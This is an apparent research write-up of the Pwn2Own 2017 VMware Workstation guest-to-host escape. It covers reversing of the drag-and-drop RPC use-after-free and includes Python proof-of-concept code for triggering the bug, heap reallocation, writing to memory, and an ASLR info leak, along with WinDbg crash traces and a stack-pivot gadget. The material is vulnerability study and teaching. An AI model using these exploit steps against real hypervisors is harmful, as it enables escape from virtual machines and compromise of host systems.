# Analysis of a VMWare Guest-to-Host Escape from Pwn2Own 2017

This vulnerability was found by Keen Security Lab which they showed at Pwn2Own 2017. Unfortunately, because the bug was silently patched by VMWare in 12.5.3 no CVE number was assigned, even though the vulnerability leads to remote code execution.

# Summary

The vulnerability affects the Drag n Drop functionality of VMWare Workstation Pro before 12.5.3. This feature allows users to copy files from the host to the guest. However, due to a few insecure backdoor calls over an RPC interface, a Use-After-Free is present.

In order to trigger the UAF, we have to issue RPC calls in order to change the DnD version from version 2 then to version 4. When the DnD version is changed the funtion table responsible for dispatching version 2 gets freed but any subsequent RPC calls will still reference the freed function table thus leading to a UAF.

# Setup

Explaining how to communicate over RPC with Python is out of the scope of this article. In my case, I have built a Python script with the necessary functions to communicate over RPC. With all of those functions created, I have then made one final function RpcSendRequest which sends the final requests to trigger the vulnerability.

In the below code block, I have featured a high-level overview of the exploit chain based on the required RPC calls to trigger the vulnerability.

    dndver2 = create_string_buffer("tools.capability.dnd_version 2")
dndver4 = create_string_buffer("tools.capability.dnd_version 4")
chgver  = create_string_buffer("vmx.capability.dnd_version")
sgfr     = create_string_buffer("dnd.setGuestFileRoot BBBBB")

outLen = c_ulong(0x1000)
outbuf = kernel32.VirtualAlloc(0, outLen.value, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)

# Set Version 2
Rpc.SendReq(addressof(dndver2), sizeof(dndver2) - 1, outbuf, pointer(outLen))
outLen.value = 0x1000

# Change Version
Rpc.SendReq(addressof(chgver), sizeof(chgver) - 1, outbuf, pointer(outLen))
outLen.value = 0x1000

# Set Version 4
Rpc.SendReq(addressof(dndver4), sizeof(dndver4) - 1, outbuf, pointer(outLen))
outLen.value = 0x1000

# Change Version
RpcSendRequest(addressof(chgver), sizeof(chgver) - 1, outbuf, pointer(outLen))
outLen.value = 0x1000

RpcSendRequest(addressof(sgfr), sizeof(sgfr) - 1, outbuf, pointer(outLen))


Pay close attention to the final call to dnd.setGuestFileRoot. This RPC command dereferences a pointer on a freed object. Ultimately, this is how we trigger the vulnerability for exploitation.

## Preliminary Analysis

First things first, we are going to open all of the relevant functions in IDA to better understand how this vulnerability was found and fits together. Starting with; tools.capability.dnd_version.

## tools.capability.dnd_version

Doing a text search for “tools.capability.dnd_version” in IDA, we can find the string in a dispatcher table. Based on previous analysis, I know that the function is the one referenced in the lea r9, sub_xxxxx instruction.

In this case, that means that sub_88220 is our target function. Fortunately for us, there isn’t too much code to go through.

There are a number of validation checks that we need to pass. The first one being that the function must take at least one argument, i.e, the version number.

The second check is a check on whether the inputted argument is an integer or not, we can confirm this based on the failure block seen below.

The third check checks whether the inputted argument is an integer greater than or equal to 2. If it is not then the failure block shown below is taken.

Following these checks the execution is brought into sub_70610. Now, going deeper on how the version switch works is out of the scope of the article, however, below is a big picture of that function just in-case you wanted to further investigate. Keep in mind, this is from version 12, VMWare will have changed significantly.

If we further investigate the return from this function, we can see that a check is performed to confirm if the version was set correctly.

Perhaps one point of further investigation if you are interested, is working out why we take an extra function if the the static version 3 is less than the inputted argument. Shown in the screenshot below. (My guess is compatibility reasons).

## vmx.capability.dnd_version

Next up, we are going to investigate vmx.capability.dnd_version since we know already that this request is what switches the version over. That means that tools.capability.dnd_version sets the version, but this call makes the switch. Let’s take a closer look at how this call works.

We can rename sub_83F30 to its correct name now, vmx.capability.dnd_verison. It is quite a simple function, in-fact. Firstly there is a check to make sure we didn’t pass an argument, if we did then the function will fail.

Again, we see that use of sub_67D80, which we assume is some kind of event log/tear down function, something like that. Assuming we don’t pass an argument, this function is quite simple on the surface. There are a few nested calls, however, that is out the scope of this article.

Further analysis out of the scope of this article however if you are interested in performing further analysis, the rest of the function is shown above.

## Recap

Before examining the final function, let’s do a quick recap of what we know so far;

1. We use tools.capability.dnd_version to set the version we want.
2. We use vmx.capability.dnd_version to change the version.

We also know if we set the version to 2, then change the version, then set it to 4 and then change it again, any subsequent call to dnd.setGuestFileRoot triggers a Use-After-Free. Let’s investigate this function dnd.setGuestFileRoot to try and better understand why that occurs.

## dnd.setGuestFileRoot

We’ll have to perform a text search for this string because it isn’t anywhere to be seen in the dispatcher table we found the previous two functions in. A search reveals that it is indeed in a different dispatcher table, shown below.

Based on this screenshot, and our knowledge of the previous dispatcher table it is clear that sub_9D090 is the function dnd.setGuestFileRoot. Remember, we know that this function is responsible for triggering the UAF. That is due to the fact this function is responsible for dereferencing the freed object.

In-fact, something I learned while researching this bug is that any dnd.xxxx function would trigger the Use-After-Free, this was noted in the following post on ZDI

>   tools.capability.dnd_version 2
>   vmx.capability.dnd_version
>   tools.capability.dnd_version 3
>   vmx.capability.dnd_version
>   dnd.setGuestFileRoot AAAAA // Technically any DnD function would work.


We can opt to test (and understand this theory for ourselves). Let’s take a look at some of the other dnd functions from a high level in IDA.

As you can see, they are in-fact, almost indetical. From this we can assume that the mov rax, [rcx] is the reuse. Since they all make this dereference and we know that causes the crash from previous research. We can confirm this theory by running our POC with PageHeap enabled in order to confirm if each of these function calls trigger the crash. First up, using the dnd.setGuestFileRoot payload.

(126c.9c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
vmware_vmx+0x9d0aa:
00007ff6e755d0aa 488b01          mov     rax,qword ptr [rcx] ds:0000000026b9ef40=????????????????
0:013> !heap -p -a @rcx
_DPH_HEAP_ROOT @ 40b1000
in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
25dbcb60:         26b9e000             2000
00007ffc14cc3fa1 ntdll!RtlDebugFreeHeap+0x0000000000032eb5
00007ffc14cb95c9 ntdll!RtlpFreeHeap+0x00000000000866a9
00007ffc14c311fd ntdll!RtlFreeHeap+0x000000000000041d
00000000594bcabc MSVCR90!free+0x000000000000001c [f:\dd\vctools\crt_bld\self_64_amd64\crt\src\free.c @ 110]
00007ff6e7562d27 vmware_vmx+0x00000000000a2d27

// Removed for brevity.


As expected, the Use-After-Free triggers an access violation. Now let’s modify the payload and try using dnd.feedback instead. As assumed, the crash does indeed trigger.

(197c.168): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
vmware_vmx+0x9d19a:
00007ff6e755d19a 488b01          mov     rax,qword ptr [rcx] ds:00000000263c5f40=????????????????
0:013> !heap -p -a @rcx
_DPH_HEAP_ROOT @ 4b71000
in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
26607068:         263c5000             2000
00007ffc14cc3fa1 ntdll!RtlDebugFreeHeap+0x0000000000032eb5
00007ffc14cb95c9 ntdll!RtlpFreeHeap+0x00000000000866a9
00007ffc14c311fd ntdll!RtlFreeHeap+0x000000000000041d
00000000594bcabc MSVCR90!free+0x000000000000001c [f:\dd\vctools\crt_bld\self_64_amd64\crt\src\free.c @ 110]
00007ff6e7562d27 vmware_vmx+0x00000000000a2d27

// Removed for brevity.


Great. So the post was right, any dnd function will trigger this Use-Afrer-Free. Our next question is… Why? Of course, we already know the reason for that, because all of these dnd functions perform a dereference on the freed object. Let’s now take some time to analyse the crash in more detail. After which, we can begin exploitation.

## Analysing the Crash

Based on the outputs that we retrieved using Page Heap, we can see the entire chain that leads up to the free and subsequently the dereference that causes the crash. We’ll analyse the crash from dnd.setGuestFileRoot for the sake of article uniformity. If we jump to the offset that caused the crash vmware_vmx+0x9d0aa we find that our presumption of the mov rax, [rcx] instruction causing the crash was correct.

What we’re really interested in of course is the steps which lead up to the crash. From the output already given based on Page Heap, we can see where the return following the free is.

If we open the opus_repacketizer_destroy function in IDA, we clearly see that it makes a call to free.

Great, so there’s the actual free which results in the Use-After-Free. Now, we could go through each location in the Page Heap traceback individually, but that would make this article extremely long. If you’re interested understanding more about the objects lifetime, below is the stack trace and heap page output for you to trace yourself.

0:012> !heap -p -a @rcx
_DPH_HEAP_ROOT @ 4961000
in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
1e6f2a28:         1e2ae000             2000
00007ffc14cc3fa1 ntdll!RtlDebugFreeHeap+0x0000000000032eb5
00007ffc14cb95c9 ntdll!RtlpFreeHeap+0x00000000000866a9
00007ffc14c311fd ntdll!RtlFreeHeap+0x000000000000041d
00000000594bcabc MSVCR90!free+0x000000000000001c [f:\dd\vctools\crt_bld\self_64_amd64\crt\src\free.c @ 110]
00007ff6e7562d27 vmware_vmx+0x00000000000a2d27
00007ff6e755c48d vmware_vmx+0x000000000009c48d
00007ff6e753a57e vmware_vmx+0x000000000007a57e
00007ff6e7543fb0 vmware_vmx+0x0000000000083fb0
00007ff6e7529486 vmware_vmx+0x0000000000069486
00007ff6e754bbd6 vmware_vmx+0x000000000008bbd6
00007ff6e757aea0 vmware_vmx+0x00000000000baea0
00007ff6e757af24 vmware_vmx+0x00000000000baf24
00007ff6e786b4a5 vmware_vmx!opus_repacketizer_get_nb_frames+0x000000000015ffb5
00007ff6e78492f5 vmware_vmx!opus_repacketizer_get_nb_frames+0x000000000013de05
00007ff6e787b992 vmware_vmx!opus_repacketizer_get_nb_frames+0x00000000001704a2
00007ff6e7849668 vmware_vmx!opus_repacketizer_get_nb_frames+0x000000000013e178
00007ff6e76b007b vmware_vmx+0x00000000001f007b

0:012> k
00 000000003cf974c0 00007ff6e7529486 vmware_vmx+0x9d0aa
01 000000003cf974f0 00007ff6e754bbd6 vmware_vmx+0x69486
02 000000003cf97590 00007ff6e757aea0 vmware_vmx+0x8bbd6
03 000000003cf975c0 00007ff6e757af24 vmware_vmx+0xbaea0
04 000000003cf97610 00007ff6e786b4a5 vmware_vmx+0xbaf24
05 000000003cf97650 00007ff6e78492f5 vmware_vmx!opus_repacketizer_get_nb_frames+0x15ffb5
06 000000003cf9f730 00007ff6e787b992 vmware_vmx!opus_repacketizer_get_nb_frames+0x13de05
07 000000003cf9f760 00007ff6e7849668 vmware_vmx!opus_repacketizer_get_nb_frames+0x1704a2
08 000000003cf9f790 00007ff6e76b007b vmware_vmx!opus_repacketizer_get_nb_frames+0x13e178
09 000000003cf9f910 00007ffc13ed2774 vmware_vmx+0x1f007b
0a 000000003cf9f970 00007ffc14c70d61 KERNEL32!BaseThreadInitThunk+0x14
0b 000000003cf9f9a0 0000000000000000 ntdll!RtlUserThreadStart+0x21


Before we dig into exploitation, we need to know the size of the object, we can get this by setting a breakpoint just before the free occurs and analysing the heap.

Breakpoint 0 hit
vmware_vmx+0xa2d1f:
00007ff6e7562d1f 488bcf          mov     rcx,rdi

0:013> p
vmware_vmx+0xa2d22:
00007ff6e7562d22 e819ee3500      call    vmware_vmx!opus_decoder_destroy (00007ff6e78c1b40)

0:013> !heap -p -a rcx
_DPH_HEAP_ROOT @ 4821000
30621410:         30522f40               b8 -         30522000             2000
? vmware_vmx!opus_get_version_string+7c548
00007ffc14cc3f7f ntdll!RtlDebugAllocateHeap+0x0000000000033227
00007ffc14cb8294 ntdll!RtlpAllocateHeap+0x000000000008a7c4
00007ffc14c2b89a ntdll!RtlpAllocateHeapInternal+0x0000000000000a0a
00000000594bcb87 MSVCR90!malloc+0x000000000000005b [f:\dd\vctools\crt_bld\self_64_amd64\crt\src\malloc.c @ 163]
00007ff6e7894ecf vmware_vmx!opus_repacketizer_get_nb_frames+0x00000000001899df
00007ff6e755c56a vmware_vmx+0x000000000009c56a


Based on the output above, we can see that the freed object size is 0xb8. And based on information from the aforementioned ZDI article, we know that the dangling pointer is kept in an object size of 0x38, which gets allocated when the VM starts.

## Reallocation

As with the exploitation of all UAFs the most important thing we require is the ability to reallocate the freed object with our own data. We also need to keep in mind that the reallocation must end up in the same heap as the freed allocation, otherwise we won’t be able to control the freed data. How the heap works is out of the scope of this article, but if you’re not familar with the heap then I would recommend you understand that first, before preceding.

Based on previous research by MarvelTeam there are a few ways in which we can perform reallocation for this vulnerability. Two commonly used RPC calls are; tools.capability.guest_temp_directory and guest.upgrader_send_cmd_line_args. There are others as well, such as;

• info-get
• info-set
• ToolsAutoInstallGetParams

### tools.capability.guest_temp_directory

We want to test that we can in-fact use these RPC commands to allocate in the same LFH. We can do this by simply executing one of the commands with our own data and then searching the application for the data. But remember, the LFH is randomised so we need to beat it. In this case, that is actually quite simple. There is nothing stopping us from sending the command muiltiple times in order to flood the target LFH.

It isn’t possible for us to know exactly how many times we need to send the request to obtain allocation in the target, so this is where trial and error comes in. Eventually we find perfect allocation at 0x40.

    cmd = create_string_buffer("tools.capability.guest_temp_directory AAAA..AAAA")
inbuf = kernel32.VirtualAlloc(0, 0xb0 + sizeof(cmd) - 1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
memset(inbuf + sizeof(cmd) - 1, 0x41, 0xa7)

outLen = c_ulong(0x1000)
outbuf = kernel32.VirtualAlloc(0, outLen.value, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)

for i in range(0x40):
RpcSendRequest(inbuf, 0xb0 + sizeof(cmd) - 1, outbuf, pointer(outLen))


After running this POC and checking the output, it is clear that we do in-fact gain allocation in the target block. This can be seen below.

Breakpoint 0 hit
vmware_vmx+0x9d0aa:
00007ff7e209d0aa 488b01          mov     rax,qword ptr [rcx] ds:0000000003a62d20=41412e2e2e414141
0:013> dd ecx
0000000003a62d20  2e414141 41412e2e 41414141 41414141
0000000003a62d30  41414141 41414141 41414141 41414141
0000000003a62d40  41414141 41414141 41414141 41414141
0000000003a62d50  41414141 41414141 41414141 41414141
0000000003a62d60  41414141 41414141 41414141 41414141
0000000003a62d70  41414141 41414141 41414141 41414141
0000000003a62d80  41414141 41414141 41414141 41414141
0000000003a62d90  41414141 41414141 41414141 41414141


Equally, we can also test that this RPC command works in the same way as tools.capability.guest_temp_directory, as it turns out, it does. In-fact, all RPC guest commands share the same LFH, therefore pretty much any of them will work. But, not all of them are completely ideal for various reasons.

    cmd = create_string_buffer("guest.upgrader.send_cmd_line_args AAAA")
inbuf = kernel32.VirtualAlloc(0, 0xb0 + sizeof(cmd) - 1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
memset(inbuf + sizeof(cmd) - 1, 0x41, 0xa7)

outLen = c_ulong(0x1000)
outbuf = kernel32.VirtualAlloc(0, outLen.value, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)

for i in range(0x40):
RpcSendRequest(inbuf, 0xb0 + sizeof(cmd) - 1, outbuf, pointer(outLen))


After running this POC and checking the output, it is clear that we do in-fact gain allocation in the target block. This can be seen below.

Breakpoint 0 hit
vmware_vmx+0x9d0aa:
00007ff7e209d0aa 488b01          mov     rax,qword ptr [rcx] ds:0000000003a62d20=41414141414141414141414141414141
0:013> dd ecx
0000000003a62d20  41414141 41414141 41414141 41414141
0000000003a62d30  41414141 41414141 41414141 41414141
0000000003a62d40  41414141 41414141 41414141 41414141
0000000003a62d50  41414141 41414141 41414141 41414141
0000000003a62d60  41414141 41414141 41414141 41414141
0000000003a62d70  41414141 41414141 41414141 41414141
0000000003a62d80  41414141 41414141 41414141 41414141
0000000003a62d90  41414141 41414141 41414141 41414141


### Avoiding NULLs

User-mode addresses on 64-bit systems always contain a NULL word (due to their length), this prevents a problem in our case. The command expects a NULl terminated string as an argument. This means that if we were to put a pointer in the argument, for example a pointer to a ROP gadget, due to the NULL byte in the address, the argument string would be terminated early and and our content would be allocated to a smaller bucket. This means that using this function isn’t going to work because we need to use ROP gadgets to bypass DEP and take control of the application flow. We can test this theory out by placing a fake pointer in our buffer and checking the contents of ECX.

Breakpoint 0 hit
vmware_vmx+0x9d0aa:
00007ff7e209d0aa 488b01          mov     rax,qword ptr [rcx] ds:00000000059525f0=00007ff7e27a74a8

0:012> dd ecx
00000000059525f0  e27a74a8 00007ff7 03dae8a0 00000000
0000000005952600  05b63470 00000000 05b632b0 00000000
0000000005952610  03b6b320 00000000 00000003 00000000
0000000005952620  cec10001 00000000 00000000 00000000
0000000005952630  00000000 00000000 00000000 00000000
0000000005952640  00000000 00000000 00000000 00000000
0000000005952650  00000000 00000000 00000000 00000000
0000000005952660  00000000 00000000 00000000 00000000


As you can see, if we attempt to put a fake pointer in the buffer, once the NULL byte is detected, it cuts the allocation short and our allocation doesn’t work as it did before. This is a huge problem because as we explained, user-mode addresses in 64-bit contains NULL bytes.

To get around this we are going to adopt a different reallocation technique. If we look back at RpcSendRequest we see that our function first sends the data size through MessageSendSize and then sends the actual payload through MessageSendData. Based on our testing, we know that all RPC requests are served by the same LFH heap. We can try to use this to directly use these two functions to perform reallocation control rather than relying on a specific RPC command.

We are going to update our proof of concept with two very unique sizes for MessageSendSize and MessageSendData respectively. You can see the changes in the below code block.

def realloc():
inbuf = kernel32.VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
memset(inbuf, 0x41, 0x80)
pointer = c_ulonglong(0x0000414141414141) # fake memory pointer

chan = MESSAGE_CHANNEL()
OpenChannel(chan)
MessageSendSize(chan, 0xAA9)
MessageSendData(chan, inbuf, 0xAA9)
MessageClose(chan)


As you can see, we are now using the mentioned functions with a unique size which should help us locate the allocation on the heap from WinDbg. Before executing the updated POC we will set a breakpoint on WinDbg using .printf in order to track the heap allocations of our target size.

bp ntdll!RtlpAllocateHeap ".printf \"Req size: 0x%p Round size: 0x%p\", @r8, @r9; .echo; gc"


Following this breakpoint, we run the POC until the input is requested in our script, at which point we break the application, set a breakpoint at vmware_vmx+0x9d0aa and then allow execution to continue. Eventually, we should see the following in our WinDbg output:

Req size: 0x0000000000000aaa Round size: 0x0000000000000ac0
Req size: 0x00000000000000f8 Round size: 0x0000000000000100
Req size: 0x0000000000000260 Round size: 0x0000000000000270

Breakpoint 1 hit
vmware_vmx+0x9d0aa:
00007ff7e209d0aa 488b01          mov     rax,qword ptr [rcx] ds:000000000473d5c0=00007ff7e27a74a8


As shown in the first line, we can see that our allocation is in-fact rounded up to 0xAAA bytes due to the NULL byte terminator. Let’s restart the VM, and now we can place a conditional breakpoint on RtlpAllocateHeap specifying 0xAAA as the allocation size.

bp ntdll!RtlpAllocateHeap ".if(@r8 == 0xAAA) {} .else {gc}"


When executing the POC again, we should hit the breakpoint, then we can check the output of the registers and check the status of the heap.

ntdll!RtlpAllocateHeap:
00007ffee886dad0 4c894c2420      mov     qword ptr [rsp+20h],r9 ss:000000000628f6d8=00000000010acec0

0:013> r
rax=0000000001482038 rbx=0000000001480000 rcx=0000000001480000
rdx=0000000000000002 rsi=0000000000000000 rdi=000000000000002c
r8=0000000000000aaa  r9=0000000000000ac0 r10=7efefefefefefeff
r11=8101010101010100 r12=0000000000000000 r13=0000000000000ac0
r14=0000000000000000 r15=0000000000000aaa
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202

ntdll!RtlpAllocateHeap:
00007ffee886dad0 4c894c2420      mov     qword ptr [rsp+20h],r9 ss:000000000628f6d8=00000000010acec0

0:013> pt
ntdll!RtlpAllocateHeap+0x235b:
00007ffee886fe2b c3              ret

0:013> !heap -p -a rax
_HEAP @ 1480000
HEAP_ENTRY Size Prev Flags            UserPtr UserSize - state
0000000004408d10 00ac 0000  [00]   0000000004408d20    00aaa - (busy)

0:013> dq rax
0000000004408d20  000000000655fce0 0000000004414600
0000000004408d30  0000000080270000 0000000000001000
0000000004408d40  00000000d6b19000 0000000000001000
0000000004408d50  0000000080270000 0000000000001000
0000000004408d60  0000000080270000 0000000000001000
0000000004408d70  0000000080270000 0000000000001000
0000000004408d80  0000000080270000 0000000000001000
0000000004408d90  00000000d6a18000 0000000000001000


In the above output, you can clearly see in R8 that our allocation size 0xAAA is present. Additionally, if we check the RAX register we can see that the state is “busy”. Let’s allow execution to continue for a few seconds before issuing a break and then reinspecting the allocation content.

0:016> dq 04408d20
0000000004408d20  000000000682c100 00000000046a0f20
0000000004408d30  4141414141414141 4141414141414141
0000000004408d40  4141414141414141 4141414141414141
0000000004408d50  4141414141414141 4141414141414141
0000000004408d60  4141414141414141 4141414141414141
0000000004408d70  4141414141414141 4141414141414141
0000000004408d80  4141414141414141 4141414141414141
0000000004408d90  4141414141414141 4141414141414141


As you can see, I didn’t quite wait long enough for the full allocation, but it appears to have worked and we are clearly no longer restricted by the NULL bytes.

If you’re wondering why we aren’t restricted by the NULL byte issue anymore is because these RPC commands don’t expect a NULL terminated string as arguments. If you remember before, we were using the argument of an RPC command as our reallocation data. However those commands expect all their arguments to be NULL terminated strings, this causes an issue where our data will get mangled if it contains NULL bytes.

There is one more thing we need to do. In our previous realloacation method we beat LFH randomisation by brute-forcing 0x40 allocations. We will reuse this technique and confirm that we have stable reallocation. First we update our POC to include 0x40 allocations.

    for i in range(0x40):
chan = MESSAGE_CHANNEL()
OpenChannel(chan)
MessageSendSize(chan, 0xAA9)
MessageSendData(chan, inbuf, 0xAA9)
MessageClose(chan)


Now let’s set a breakpoint on vmware_vmx+0x9d0aa and verify that we have stable reallocation and can still include NULL bytes.

0:014> bp vmware_vmx+0x9d0aa
0:014> g

0:012> dq rcx
0000000004429570  00007ff7e27a74a8 0000000004973730
0000000004429580  00000000046c67e0 00000000046c6b60
0000000004429590  0000000004719060 0000000000000003
00000000044295a0  00000000cdbdc001 0000000000000000
00000000044295b0  0000000000000000 0000000000000000
00000000044295c0  0000000000000000 0000000000000000
00000000044295d0  0000000000000000 0000000000000000
00000000044295e0  0000000000000000 0000000000000000


That doesn’t seem to have worked. However, we previously were not using an allocation size of 0xAA9, we were in-fact using a size of 0xb0 for MessageSendSize and 0x80 for MessageSendData. So let’s update these values back to their original and test the reallocation again.

0:013> dd rcx
00000000045c2760  abb00ccd 00007ffa 41414141 41414141
00000000045c2770  41414141 41414141 41414141 41414141
00000000045c2780  41414141 41414141 41414141 41414141
00000000045c2790  41414141 41414141 41414141 41414141
00000000045c27a0  41414141 41414141 41414141 41414141
00000000045c27b0  41414141 41414141 41414141 41414141
00000000045c27c0  41414141 41414141 41414141 41414141
00000000045c27d0  41414141 41414141 41414141 41414141


Perfect, we have stable reallocation now. The next goal is for us to turn this into code execution.

## Code Execution

Following the dereference shortly afterwards there is a CALL instruction on a RAX+8, we can verify this by checking the RIP register.

Breakpoint 0 hit
vmware_vmx+0x9d0aa:
00007ff7e209d0aa 488b01          mov     rax,qword ptr [rcx] ds:00000000046e2b20=4141414141414141

0:013> u rip
vmware_vmx+0x9d0aa:
00007ff7e209d0aa 488b01          mov     rax,qword ptr [rcx]
00007ff7e209d0b2 ff5008          call    qword ptr [rax+8]

0:013> p
vmware_vmx+0x9d0b2:
00007ff7e209d0b2 ff5008          call    qword ptr [rax+8] ds:4141414141414149=????????????????

0:013> g
(7bc.27e8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
vmware_vmx+0x9d0b2:
00007ff7e209d0b2 ff5008          call    qword ptr [rax+8] ds:4141414141414149=????????????????


This instruction represents a typical call to a virtual function through its vtable. When objects are created, the first QWORD is a pointer to the class’ virtual function table. This table is an array of pointers to the object class’ virtual functions which are used by the compiler to call the objects methods.

Because we have successfully managed to perform reallocation of the object when the dereference occurs it is pointing to our data. This means that we can craft a fake object to redirect the application flow by hijacking the virtual function. In this case, we are hijacking the second virtual function. As the vtable address is located at 0x4141414141414141 and 0x4141414141414149 is the second virtual function in the table (offset 0x8). Before our reallocation this object was previously dnd.setGuestFileRoot the object we of course freed.

## Bypassing DEP

Previous research shows that an RPC command unity.window.contents.start allows us to store arbitrary data provided as an argument in a vmware-vmx global variable. Storing the stack pivot gadget address in a global variable is perfect. However, to use the global variable as a vtable we need its absolute address. So we’ll also need to bypass ASLR to calculate the variables offset from the base address.

### unity.window.contents.start

There’s no public documentation on this function, so we’ll need to reverse it in order to understand where and how we can control that global variable. A simple text search returns the function in the same dispatcher table we looked at previously. Taking a brief look at the function in IDA, we see the following interesting block.

As you can see in the above screenshot, there are a number of overwrites of global variables which is congruent with the previous research we cited. Our goal at this stage is to work out if we control any of those overwrites and if we do, then we have ROP storage. To achieve that goal we’ll need to work through the functions requirements and arrive in the block shown above.

Fortunately, the function is quite a simple one. It only takes one argument.

cmd = create_string_buffer("unity.window.contents.start AAAABBBBCCCCDDDDEEEEFFFF")
outLen = c_ulong(0x1000)
outbuf = kernel32.VirtualAlloc(0, outLen.value, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
RpcSendRequest(addressof(cmd), sizeof(cmd) - 1, outbuf, pointer(outLen))


These checks simply check that the argument pointer and the size aren’t NULL. Since we provided an argument we pass these two checks implicitly.

The next block is an important one because the return of sub_4BE7C0 dictates the path of execution.

If we assume we don’t take the jump, we hit the following error statement.

Clearly based on this we want to take the jump. So we need to confirm the execution of sub_4be7c0 leads us to the jump. Paying close attention before the call to sub_4be7c0 we see that sub_4f9f00 is moved into R8. Inside sub_4be7c0 we see that there is an indirect call made to RSI which contains sub_4f9f00.

Let’s set a breakpoint on the call to sub_4be7c0 and then set a hardware breakpoint on the pointer referencing our argument.

Breakpoint 0 hit
vmware_vmx+0x85b36:
00007ff63d4e5b36 e8857c4300      call    vmware_vmx!opus_decoder_destroy+0xbbc80 (00007ff63d91d7c0)

0:013> da rcx
0000000003ccfe3c  "AAAABBBBCCCCDDDDEEEEFFFF"

0:013> ba r1 0000000003ccfe3c

0:013> g
Breakpoint 1 hit
vmware_vmx!opus_get_version_string+0x30d1f:
00007ff63dbbbc7f ff158b240000    call    qword ptr [vmware_vmx!opus_get_version_string+0x331b0 (00007ff63dbbe110)]
ds:00007ff63dbbe110={WS2_32!htonl (00007ffca0cd39d0)}

0:013> r ecx
ecx=41414141


Based on the output above we can see that the first DWORD is passed to htonl to switch the endianness. Since our DWORD is 0x41414141 this has no effect. Eventually we reach into the sub_4f9f00 which checks if the first DWORD is equal to 1.

Following this check, we pass the check on DWORD 4 & 5 implicitly.

The final check is a check on DWORD 6. DWORD 6 must be greater than zero but less than or equal to 0x8000000.

### unity.window.contents.chunk

With a successful overwrite of a QWORD in VMWares .data section for our pivot gadget. Our next goal is to find a location to store shellcode. According to previous research we can use the “unity.window.contents.chunk” command to copy data into a buffer that is allocated during “unity.window.contents.start”.

Following the reversing of this function, we learn a few things. Firstly, the first two DWORDs of the argument must contain a magic value 0x1.

The second DWORD is a counter which is initially set to 0. It needs to be incremented and passed every time we make a call to “unity.window.contents.chunk”.

The third DWORD is used as an identifier and it needs to be the same value that is specified in the call to “unity.window.contents.start”.

The fifth DWORD is the size of the buffer that we are going to copy into the destination allocation. Although we can specify the size ourself, the maximum size we can copy is 0xC000 bytes. Additionally, the size specified in the fifth DWORD Must be a multiple of 4.

In order to achieve all of this we’ll write a new function “fillMemory”, as shown below.

def fillMemory(index, buf, bufSize):
rounded_size = bufSize
if bufSize % 4 != 0:
rounded_size += 4 - (bufSize % 4)

chunk = kernel32.VirtualAlloc(0, 0x30 + rounded_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
memset(chunk, 0, 0x30 + rounded_size)

cmd = create_string_buffer("unity.window.contents.chunk ")

magicValue = c_ulong(htonl(1))

id_value = c_ulong(htonl(0x43434343))

index_value = c_ulong(htonl(index))

size_value = c_ulong(htonl(rounded_size))

memmove(chunk + 0x30, buf, bufSize)

outLen = c_ulong(0x1000)
outbuf = kernel32.VirtualAlloc(0, outLen.value, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
RpcSendRequest(chunk, 0x30 + rounded_size, outbuf, pointer(outLen))


## Bypassing ASLR

The next problem for us to solve is ASLR. We need the base address of vmware_vmx so that we can calculate the absolute address of the fake vtable and ROP gadget. Lucky for us, there is a CVE which targets our version, CVE-2017-4905.

This CVE exploits a logic bug which allowed the disclosure of memory content, including function pointers. It was patched in VMSA-2017-0006.

At a high level, the bug is quite simple. A buffer is allocated on the stack when processing backdoor requests. The buffer should be initialized in the BDOORHB callback but when requesting an invalid command, the callback doesn’t correctly clear the buffer, causing content of the stack to be leaked to the guest. Below is a simple POC which exploits this CVE:

def leak():
buf = kernel32.VirtualAlloc(0, 0x8000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
vmwareBase = 0
while True:
memset(buf, 0, 0x8000)
bphb = BACKDOOR_PROTO_HB()

bphb.cx = 0x8000
bphb.di = buf
bphb.bx = 2

Backdoor_HbIn(bphb)


The code is very simple. We issue a high-bandwidth backdoor request with an invalid command specified in EBX, and we supply a large output buffer in RDI. When the call takes place, VMWare stores some temporary data in the output buffer and as mentioned before, when the command fails and returns the application forgets to clear the output buffer, thus resulting in an information leak condition.

Once we’ve obtained the raw data we need some way of filtering it. We are specifically looking to gather pointers that we can use in order to bypass ASLR. Since leaks are not often that reliable, and we know the starting value and ending value of the VMWare base address, we’ll ensure that our leak continues to execute until those characters are found in the response.

Pointer = cast(buf + 0x7ef0, POINTER(c_ulonglong))
vmwarePointer = Pointer.contents.value

if vmwarePointer & 0xFFFFFFF000000000 == 0x7ff000000000:
if vmwarePointer & 0x000000000000FFFF == 0:
vmwareBase = vmwarePointer
break
return vmwareBase


If we execute this proof of concept, after a short while of waiting we will eventually receive the vmware_vmx base address which we can then use in order to build our ROP chain.

## Stack Pivot

Before we can build our ROP chain, we still require control of the stack. To obtain that control we are going to employ the common technique of stack pivoting. Unfortunately in this case, no stack pivot gadget stands out right away so we will need to think creatively about how to achieve this.

If we run our reallocation POC multiple times we notice that RDI (which points to data we control) always gets allocated at an address below 0x100000000. Values below this number are possible to fit into 32-bit subregisters, which means that if we can find a gadget such as the one shown below:

0:012> u vmware_vmx+183429 L4
vmware_vmx+0x183429:
00007ff614e63429 8be7      mov     esp,edi


Then we could use it to pivot the stack and thus gain the necessary control to begin our ROP chain. RDI points to the “dnd.setGuestFileRoot” argument string, and this address will always fit into the lower 32-bits of RDI.

